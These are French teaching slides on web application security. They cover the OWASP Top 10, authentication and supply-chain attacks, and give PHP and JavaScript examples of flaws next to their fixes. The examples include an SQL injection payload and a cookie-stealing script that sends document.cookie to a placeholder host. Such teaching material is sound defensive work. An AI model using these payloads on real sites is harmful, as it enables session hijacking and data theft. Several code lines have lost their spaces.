Les mots de passe (multi-facteurs, complexité, hashage).
Les failles dans le code (injections, XSS, CSRF, etc.).
Les failles dans les configurations (serveur, application, etc.).
Le social engineering (le maillon faible, l'humain).
Assurer la qualité
S'assurer une qualité continue du code
10 règles à connaitre (OWASP).
Des tests unitaires.
Une analyse automatique du code (SonarQube).
L'authentification, un point clé
Mots de passe : Complexité, hachage, salage.
Authentification à plusieurs facteurs : Double authentification, biométrie, OTP.
Sécurisation des mots de passe : Bcrypt, Argon2, Scrypt.
Sécurisation des sessions : JWT, Cookies sécurisés.
Authentification unique : OAuth, OpenID (SSO, Single Sign-On).
SSO (Single Sign-On) : Authentification unique. Est un risque potentiel.
À votre avis pourquoi ?
SSO (Single Sign-On) : Authentification unique. Est un risque potentiel.
Risques :
Accès à plusieurs services avec un seul compte.
Un seul compte à pirater pour accéder à plusieurs services.
Solution :
Double authentification (2FA, MFA).
10 grandes catégories
Injection ;
Violation de Gestion d’Authentification et de Session ;
Cross-Site Scripting (XSS) ;
Références directes non sécurisées à un objet ;
Mauvaise configuration Sécurité ;
Exposition de données sensibles ;
Manque de contrôle d’accès au niveau fonctionnel ;
Falsification de requête intersite (CSRF) ;
Utilisation de composants avec des vulnérabilités connues ;
Redirections et Renvois non validés.
Open Web Application Security Project (OWASP)
Les dix risques par ordre de dangerosité
Le Top10 Web
Un changement récent
La version 2025 vient d'être publiée (fin 2025).
La précédente datait de 2021.
Beaucoup de ressources citent encore la version 2021.
Les codes changent, les concepts restent.
A01:2025-Contrôles d'accès défaillants (inclut le SSRF) ;
A02:2025-Mauvaise configuration de sécurité ;
A03:2025-Défaillances de la chaîne d'approvisionnement logicielle ;
A04:2025-Défaillances cryptographiques ;
A05:2025-Injection ;
A06:2025-Conception non sécurisée ;
A07:2025-Défaillances d'authentification ;
A08:2025-Manque d'intégrité des données et du logiciel ;
A09:2025-Carence de journalisation et d'alerte ;
A10:2025-Mauvaise gestion des conditions exceptionnelles ;
Analyse d'une situation
L'injection
Risque d’injection SQL, Shell...
La défaillance cryptographique
Risque de casser / usurper une authentification ou une session. Comprend notamment le vol de session ou la récupération de mots de passe.
Données sensibles en clair.
Mots de passe en clair.
Mots de passe mal hachés.
Conception non sécurisée / Exposition de données sensibles
Conception d'une application sans prise en compte de la sécurité.
Données en clair.
Manque de contrôle d'accès.
Manque de contrôle de saisie.
Manque de contrôle de type (XSS, CSRF).
Absence d'anti-bots (captcha).
Utilisation d'une question secrète.
Réservation de place sans acompte.
Mauvaise configuration de la sécurité
Manque de validation des types de paramètres, accès trop facile aux ressources non accessibles au public (cloud), configuration incomplète ou trop permissive, messages d'erreurs trop détaillés.
Accès à des ressources non publiques.
Messages d'erreurs trop détaillés.
Filtrage absent ou incomplet (filter_input, strip_tags, htmlspecialchars, htmlentities, etc.).
En-têtes de sécurité manquants (CSP, HSTS, X-Frame-Options, etc.).
Services inutiles activés.
Utilisation de composants avec des vulnérabilités connues
Utilisation de composants tiers vulnérables.
CMS non à jour.
Librairies non à jour.
Apache non à jour.
PHP non à jour.
MySQL non à jour.
Défaillances de la chaîne d'approvisionnement logicielle
Nouvelle catégorie 2025, qui élargit les composants vulnérables :
Dépendances compromises (npm, composer, pip…).
Outils de build et pipelines CI/CD.
Chaîne de distribution du logiciel.
Nous y reviendrons : les Supply Chain Attacks.
Défaillances d'authentification
Les applications n’exécutent pas de manière correcte les fonctions liées à la gestion des sessions ou à l’authentification des utilisateurs
Absence de double authentification.
Absence de règles de mots de passe (complexité, durée de vie, longueur, etc).
Mot de passe par défaut (admin/admin, root/root).
Utilisation d'id dans l'url (session hijacking).
Manque d’intégrité des données et du logiciel
Cette catégorie englobe les codes et infrastructures qui ne sont pas protégés contre les violations d’intégrité.
Absence de vérification de l'intégrité des données (validation d'une mise à jour).
Absence de vérification de l'intégrité du logiciel (signature, hashage, etc).
Rejeu de requêtes possible (absence de CSRF).
Absence de logs serveur et de surveillance
Absence de logs serveur et de surveillance des activités de l’application.
Absence de logs serveur.
Absence de logs applicatifs.
Manque de supervision.
L'observabilité est un concept qui permet de mesurer et d'analyser le comportement d'un système. On parlera de traçabilité, de logs, de monitoring, de métriques, etc.
La traçabilité est un élément clé de la sécurité. Elle permet de savoir qui a fait quoi, quand et comment.
Falsification de requête côté serveur (SSRF)
Elle permet à un hacker d’inciter l’application côté serveur à envoyer des requêtes à un endroit non prévu.
Absence de vérification de l'origine de la requête.
Absence de vérification de l'origine de l'utilisateur.
Depuis 2025, le SSRF fait partie de A01 (contrôles d'accès défaillants).
Mauvaise gestion des conditions exceptionnelles
Nouvelle catégorie 2025 : que se passe-t-il quand ça se passe mal ?
Exceptions non traitées.
« Fail open » : le système laisse passer en cas d'erreur.
Messages d'erreur qui révèlent des informations internes.
L'objectif est souvent de ralentir l'attaquant. Afin de le décourager.
Avec OWASP on parle de
Vulnérabilité, et non de risque
Mais, une faille c’est quoi ?
Les types de failles
L’humain (Social Engineering)
D'accès (physique)
Applicatif (Hack)
L’argent (à quel montant une personne vous donne l’information ?)
Permet de sécuriser les mots de passe en ajoutant une couche de sécurité supplémentaire.
Via un secret partagé entre la personne physique et le site/application.
Supply Chain Attacks
Attaque ciblant les dépendances logicielles
Les dépendances logicielles sont partout dans nos applications (nuget, composer, npm, pip, etc.), mais également sur nos serveurs (apt, yum, docker, etc).
Exemple d'attaque
Une dépendance est compromise (par un attaquant ou un développeur malveillant).
Un malware est injecté dans la dépendance.
Le malware est distribué via la dépendance.
Le malware s'exécute sur les systèmes des utilisateurs de la dépendance (serveur ou poste de travail en fonction du type de dépendance).
On connait les failles
Comment on les corrige ?
Les failles
OWASP donne la liste des grandes catégories de failles. Entrons dans le détail technique.
L'Injection
SELECT*FROM client WHERE id='" . $_GET["id"] . "'
http://exemple.com/liste?id='or '1'='1
Correction
$stmt = $pdo->prepare("SELECT * FROM client WHERE id=?");
$stmt->bindParam(1, $_GET["id"]);
$stmt->execute();
Accès non autorisé à une session
http://exemple.com/?jsessionid=A2938298D293
Vol du cookie de session
// Exemple de vol d'un cookie de session en JavaScriptvar img = newImage();
img.src = "http://exemple.com/?jsessionid=" + document.cookie;
document.body.appendChild(img);
Cross-Site Scripting (XSS)
Exécution de code JavaScript sans validation.
XSS Stocké (base de données).
XSS Réfléchi (URL / Lien).
Votre Nom : <inputtype="text"name="nom"value="" />
echo"Bonjour " . $_POST['nom'];
Correction
$nom = filter_input(INPUT_POST, 'nom', FILTER_SANITIZE_FULL_SPECIAL_CHARS);
// ou$nom = strip_tags($_POST['nom']);
// ou (recommandé pour l'affichage)$nom = htmlspecialchars($_POST['nom'], ENT_QUOTES, 'UTF-8');
A4 - Références directes non sécurisées à un objet
http://exemple.com/liste?mode=client
Si je change client par … admin ?
SELECT*FROM client where mode=?
$stmt->bindParam(1, $mode);
Toujours valider les entrées utilisateurs.
Toujours vérifier les droits de l'utilisateur.
if ($_SESSION['mode'] == 'client') {
// On peut charger la ressource
} elseif ($_SESSION['mode'] == 'admin') {
// On peut charger la ressource
} else {
// On ne peut pas charger la ressource
}
Mauvaise configuration Sécurité
Console d’administration disponible sans authentification en ligne
Page d’admin accessible avec un compte utilisateur
Mode non filtré (similaire à l’exemple mode={client,admin})
Condition d'accès dans le code
if(SessionUtilisateur::estAdmin()) {
// On peut charger la ressource
} else {
// On ne peut pas charger la ressource
}
Falsification de requête intersite (CSRF)
Rejeu de requête déjà jouée.
Attaque de type brute force.
Exécution de requête à l’insu de l’utilisateur (exemple : déconnexion / connexion sur un site tiers).
Comment le bloquer ?
Ajoutez un identifiant/jeton dans la requête, unique et non réutilisable
⚠️ Parlons-en !
Ajouter un jeton unique dans les formulaires.
<input type="hidden" name="_token" value="{{ csrf_token() }}">
// Côté PHPif (isset($_POST['_token']) && $_POST['_token'] == $_SESSION['_token']) {
// On peut traiter la requête
} else {
die();
}
Utilisation de composants avec des vulnérabilités connues
CMS non à jour.
Apache non patché.
Librairies XYZ non à jour.
PHP non à jour.
MySQL non à jour.
Mauvaise conception
Absence d'anti-bots.
Utilisation de captcha (Google Recaptcha par exemple).
<scriptsrc="https://www.google.com/recaptcha/api.js"asyncdefer></script><divclass="g-recaptcha"data-sitekey="your_site_key"></div>
// Côté PHP
if (isset($_POST['g-recaptcha-response'])) {
// On peut traiter la requête
} else {
die();
}
Utilisation d'une question secrète :
Car faible possibilité de réponse (peu de couleurs, peu de réponses possibles, peu de dates, etc).
Redirections et Renvois non validés
Utilisation de votre site comme « masque » dans du phishing
Scan de secrets : GitLeaks, TruffleHog dans la pipeline.
Tests sécurité : ZAP en mode headless pour détecter les régressions.
# Exemple conceptuel de pipeline CIstages:-build-test-securitysast:stage:securityscript:-sonar-scannerdependency_check:stage:securityscript:-dependency-check.sh--projectMonApp--scan.secret_detection:stage:securityscript:-gitleaksdetect--source.